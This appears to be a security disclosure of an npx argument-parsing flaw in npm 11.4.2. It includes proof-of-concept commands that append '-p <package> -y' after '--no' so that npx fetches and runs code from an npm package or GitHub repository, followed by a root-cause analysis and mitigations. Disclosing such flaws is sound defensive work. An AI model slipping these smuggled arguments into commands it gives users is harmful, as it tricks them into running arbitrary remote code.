npx: Command Smuggling
NodeJS's npx command is susceptible to a subtle confusion bug.
Consider this example on https://docs.npmjs.com/cli/v11/commands/npx:
Per https://www.alxndrsn.com/2024-08-01-npx-binary-confusion/, we can make the latter command "safer" by adding the --no flag. This should prevent new package installation if there is no tap command available locally:
$ npx --no tap --bail test/foo.js
npm error npx canceled due to missing packages and no YES option: ["tap@21.1.0"]
However, this flag also introduces confusion to the argument parser:
By adding specific flags to the end of the quoted command, npx-cli.js's argument parsing and the expectations of the user can become confused, and unexpected code can be executed:
$ npx --no tap --bail test/foo.js -p naughty-example-package -y
Hello world.
In the above example, we are running code from a 3rd-party node package hosted on github.com, which has a bin script called tap: https://www.npmjs.com/package/naughty-example-package
This command can be modified to run code which is not even hosted on npm.
$ npx --no tap --bail test/foo.js -p https://github.com/alxndrsn/npx-bad-tap -y
I am not tap.
Root Cause Analysis
It seems that while no-install is included in switches, that list is missing both no and no-yes. This means that the CLI arg proceeding these is ignored at https://github.com/npm/cli/blob/4183cba3e13bcfea83fa3ef2b6c5b0c9685f79bc/bin/npx-cli.js#L108-L116 rather than being recognised as a positional arg at https://github.com/npm/cli/blob/4183cba3e13bcfea83fa3ef2b6c5b0c9685f79bc/bin/npx-cli.js#L119.
Suggested Mitigation
- a simple approach would be to add
--noand--no-yesto switches (https://github.com/npm/cli/blob/4183cba3e13bcfea83fa3ef2b6c5b0c9685f79bc/bin/npx-cli.js#L34-L44). - a more robust approach would be to invert the switches list to an explicit list of CLI opts which take an extra argument.
Impact
An attacker can trick a user into installing and running arbitrary code on their machine.
Environment
$ npx --version
11.4.2